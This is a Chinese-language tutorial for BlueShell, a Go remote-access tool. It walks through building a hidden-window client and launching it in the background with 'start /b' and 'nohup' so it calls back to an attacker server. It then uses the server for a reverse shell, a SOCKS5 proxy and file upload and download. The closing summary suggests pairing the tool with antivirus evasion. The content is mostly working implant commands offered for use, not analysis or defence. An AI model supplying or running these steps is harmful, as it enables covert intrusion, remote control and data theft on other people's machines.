BlueShell

BlueShell

BlueShell是一款Go语言编写的远控工具

项目地址:https://github.com/whitehatnote/BlueShell

安装

安装依赖包

1
2
3
4
5
go get github.com/armon/go-socks5
go get github.com/creack/pty
go get github.com/hashicorp/yamux
go get github.com/djimenez/iconv-go
go get golang.org/x/crypto/ssh/terminal

错误及解决方法

go get请求超时

设置代理可以

1
2
3
4
5
go env -w GO111MODULE=on
//这个默认是""
go env -w GOPROXY=https://goproxy.cn,direct

go env -w GOPROXY=https://goproxy.io,direct

cannot find package

在BlueShell目录打开终端

1
2
go mod init BlueShell
go mod tidy

image-20220228150927067

client.go./shell是报错的原因,修改为BlueShell/shell(不要用相对路径)

生成Client/Server

Linux/MacOS

1
2
go build --ldflags "-s -w " -o bsClient client.go //生成client
go build --ldflags "-s -w " -o bsServer server.go //生成server

Windows

1
go build --ldflags "-s -w -H=windowsgui" -o bsClient.exe client.go

使用

参数

-h 指定Server-IP地址

-p 指定监听端口,默认8081

-t 尝试连接Server间隔时间

-a 指定功能:shell/socks/upload/download

-suser socks代理账号,默认blue

-spass socks代理密码,默认Blueshell@2020

-sport socks监听端口,默认7777

-lpath 需要上传的本地文件路径

-ldir 存放下载文件的本地路径

-rpath 需要下载的文件地址

-rdir 上传的目标目录

-rencode 指定编码类型

Client

Windows

1
start /b bsClient.exe -h 192.168.221.128 -p 443 -t 10

image-20220228155440521

Linux/MacOS

1
nohup bsClient -h 10.0.0.1 -p 443 &

Server

反弹shell

1
./bsServer -p 443 -a shell [-rencode gb2312] //[]解决Windows乱码问题

image-20220228155909586

反弹Socks5代理

1
./bsServer -p 443 -a socks -sport 7778 -suser socksUser -spass socksPassword

bluesocks

image-20220228182917346

文件上传

1
./bsServer -a upload -lpath /tmp/tmp.txt -rdir c:\\

文件下载

1
./bsServer -a download -rpath c:\\tmp.txt -ldir /tmp

image-20220228184354001

小结

体量小功能强,可以进行二次开发或者结合免杀使用,在不免杀的情况下会被杀软查杀